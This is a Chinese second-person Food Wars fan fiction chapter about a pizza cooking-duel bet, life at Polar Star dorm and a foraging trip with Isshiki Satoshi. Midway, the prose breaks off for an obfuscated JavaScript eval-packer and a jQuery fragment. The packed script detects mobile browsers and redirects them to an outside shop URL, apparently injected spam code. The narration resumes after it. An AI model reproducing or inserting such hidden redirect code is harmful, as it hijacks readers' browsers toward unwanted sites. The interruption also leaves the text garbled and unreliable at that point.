一色慧笑呵呵地问:“学妹这边的条件是赢了之后让他们穿裙子,那塔克米阿尔迪尼那边对等的条件是什么呢?”
“哦,我本来觉得我输了就穿裙子和他们输了就穿裙子是对等的,可是他们,还有食戟管理局的那些人好像不这么认为。”
你也很苦恼啊!为什么大家同样是人类,同样是穿裙子,他们穿裙子的重量和价值和你穿裙子的重量和价值却是不对等的。
“所以我说,怎么样都好啦,反正我不会输的,然后……”你回想了一下你和食戟管理局定下的那个条件。
“然后我说要不我输了就退学,这个条件的重量应该够了吧。”
一语惊破千重浪,一色慧眸色深沉,一只手扶着下巴,另一只手敲了敲桌面。
“这不符合规定,不管怎么说退学这个条件也太严重了,不能和穿裙子对等。”
不过就算不对等,只要双方同意其实就没问题……学校里尽是一群随意乱来的学生,拿退学做赌约的人也不是没有。
你握住一色慧的手,和他惺惺相惜:“是吧是吧!我也觉得不能对等!要说完全对等,明明我输了也穿裙子才是对等的条件吧?就算他们不想看我穿裙子,那也不至于要我退学才能算条件对等吧?不是很奇怪吗?只是穿个裙子而已,我又没有让他们裸奔……”
“不过我倒是无所谓啦。”
反正你怎么样都能赢。
你摆摆手:“最后塔克米阿尔迪尼定下的条件竟然是让我以后不能再提让别人穿裙子这件事,这不是要折断我的梦想翅膀嘛!这可不行!”
「不,其实还是挺合理的吧……」
这是极星寮几个男生的心声。
“所以我一定要赢!”你给自己加油鼓劲,坐在对面的吉野悠姬也举起拳头给你声援。“嘿嘿,也不知道那个塔克米阿尔迪尼穿裙子是什么样的呢,他的后援会一定会疯狂的吧!”
紫红色长发的榊凉子反而有些担心:“可是那个塔克米阿尔迪尼的成绩在整个年级都是位列前茅的,食戟内容还是比意大利人最擅长的披萨……啊说到底为什么要和意大利人比披萨啊?法国菜不是更好吗?”
田所惠附和道:“■■同学是法国人,所以还是法国菜更有利一些吧?为什么要比披萨呢?”
你:“可能是因为我当时最想吃的就是披萨吧。”
——————
幸平创真找到极星寮的时候,天色已经渐黑,天上只剩远处火红的夕阳。
听说有什么料理审查,幸平创真才发现之前的极星寮信息传单上还有他没注意到的一环。
不过好在厨房里还剩了点东西,足够做一道料理了。
等待幸平创真料理的时间里,大御堂文绪看了眼窗外,心里直犯嘀咕。
“说是去找材料,这么晚了到底能在这深山老林里找到什么材料……”
那个新来的306号房女生,还有一色慧。
“哦!上钩了上钩了!”
你麻利地将假饵上足有三斤重的鰆鱼放进水桶里,兴致冲冲地想要再钓一条,却被一色慧叫住:“你不是还要摘花吗,天色已经不早了,我们快点回去吧。”
为了明天的食戟,你准备先找材料试做一下。
在饭桌上讨论的披萨种类都被你否决了,比如玛格丽特披萨,魔鬼披萨,奶酪四重奏披萨……
你真正想做的另有其萨。
所以当你提出想出门找点食材就回来时,得知你要去深山老林里的一色慧说要和你一起去。
说是担心你的安危……不过你觉得出门带别人比你自己一个人要更麻烦。
一色慧提起装着鱼的水桶,沉默地走回来时的路。
他的手腕小腿以及脖颈,胸膛处还贴着你为了防蚊碾碎的绿色草药汁液,也是那个时候一色慧才觉得自己也没有想象中的有用。
原本是不想你一个人在深山老林出事,没想到他反而被低自己一级的学妹照顾了。他的作用好像只有帮忙拎着东西,以及在你随手摘一片树叶拔起一棵草塞进嘴里的时候适时提醒你不要乱吃东西,结果被你塞了一嘴野草野菜说:这叶子甜甜的你尝尝。
一色慧那主持过多场大型活动表面工作做的很好很懂语言艺术的嘴巴第一次张了又合,最后听你的话一味地闭口嚼嚼嚼。
确实是甜的。
而且你领他来的这片湖,还是他入学一年以后才发现的。
没想到你入学一周,就已经把这附近的生态环境摸了个遍。
“今天突然出现在极星寮……真是吓了我一跳,学妹。”
你一边采摘散发着不算浓郁的气味的半开杯状鲜花,一边听一色慧问:“为什么学妹会突然想住在极星寮呢?我记得之前薙切总帅说你可以住在薙切家对吧?”
你:“因为免费。”
没错,就是如此朴实无华的理由,虽然薙切家也免费,不过薙切家离教学楼实在是太远了。
从山脚走一两公里才能到远月学园的行政楼,再爬山三公里才能到教学楼,而薙切家主宅离教学楼足有20公里。
这样看下来,离教学楼不到五公里的极星寮显然是更好的选择。
事情还要从三天前说起,那时你已要么在东京花钱逛吃,要么在远月校内这几座山头探险逛吃。
相比之下其实你更喜欢在山林逛吃。
无它,唯免费尔。
远月校内这七座山头可谓是物产丰富,你还发现了一大片湖泊和几条小溪,每走到一处都能发现很多野菜野果和雨后刚长出来的小蘑菇,你直接发挥出超强的野外求生技能,差点乐不思蜀夜不归宿。
就在那时,你遇到了自己的命定之人——大御堂文绪婆婆。
你做的鱼汤和野菜沙拉她吃的非常开心,直呼你就是下一个十杰,未来的料理之星,然后又开始提起极星寮以前的荣光,最后邀请你加入极星寮,食宿全免,还没有电费。
你与文绪婆婆一见如故,拉着她的手直呼她菩萨心肠大慈善家,没想到在世态凉薄的当今社会还
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17949167|214123||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
有文绪婆婆这样的大善人,竟然愿意给学生白吃白喝白住,说罢立马就要搬过来住。
就这样,你白捡了宿舍,大御堂文绪白捡了一个她看中的未来十杰超级潜力股,两个人都觉得自己赚到了,一老一小握着对方的手满意地看了又看。
“还真是简单直白的理由呢。”一色慧的声音在夜色里显得格外轻柔,他伸出修长的手指想帮你一起摘花。
“——小心!”
洁白的指腹渗出鲜血,你下意识把那只手扯过来,一色慧回过神来时,手指已经被你含入口中。
“……”
湿润的,柔软的,有温度的。
这下不光是被口腔含住又被舌尖压住的指腹在发烫了。
不知过了多久,一色慧看着你紧皱的眉头和死死握住他手掌不松手的那只手,感到有些好笑。
“好吃吗?”一色慧眉眼精致,白到发光的脸上露出一个无奈的笑。
“嗯?”你抿了抿唇,呸呸呸把口里带着血丝的唾沫吐出来。
“不好吃,鲜血和鱼腥味,还有草药的味道混合在一起,难吃。血这种东西还是适合做重油重辣的毛血旺,毕竟就连黑布丁很多人都没法接受。”
莫名其妙说到吃的,一色慧这才发现你刚刚是非常认真的在品尝他手指的味道。
“鲜血和……草药吗?”
一色慧在黑暗中捻了捻指腹,被尖利的野玫瑰刺扎到的地方还像触电一样微痛。
生在严苛古老大家族年少老成的十七岁继承人,难得有这样情绪躁动的时候。
舔一舔,会好吗?
会痒吧。
你其实完全是本能反应,被扎到出血的细小伤口放进嘴里,虽然全菌出击,但能止疼。
而且在以往你待过的自然环境里,手指裸露在外说不定还没有口腔干净。
嗯,前辈的手还挺好看的,修长白嫩,不过手上有着硬硬的茧子,应该是从小学厨留下的。
厨子好啊一个学校都是厨子那更好了,你真有点期待明天柠檬小蛋糕做的披萨了。
他好像说自己明天要做玛格丽特披萨?还真有意大利人的风格啊。
不过可惜你是中国人,当然要给他来点中国人特色了,希望他明天不要太崩溃才好。
回到极星寮时,天色已经完全黑掉了,你得知现在是女生的洗澡时间,吉野悠姬和榊凉子已经洗完,只剩下你和田所惠没有洗了,二话不说赶紧上楼拿衣服和洗漱用具去了。
猛地拉开浴室门的你看到的不是田所惠,而是已经在脱衣服的幸平创真。
“呦!”这是你今天不知道第多少次和他打招呼了。
幸平创真在短暂的呆滞后扯紧了自己的裤子。
“裙子,不是,你,我还没做好准备……”
你:“?”
你看了一眼有玻璃和水雾格挡的浴池,当机立断扯着幸平创真的手往外走,他一边叫唤一边去捡自己掉在地上的衣服,一阵兵荒马乱之下被你扯出了浴室。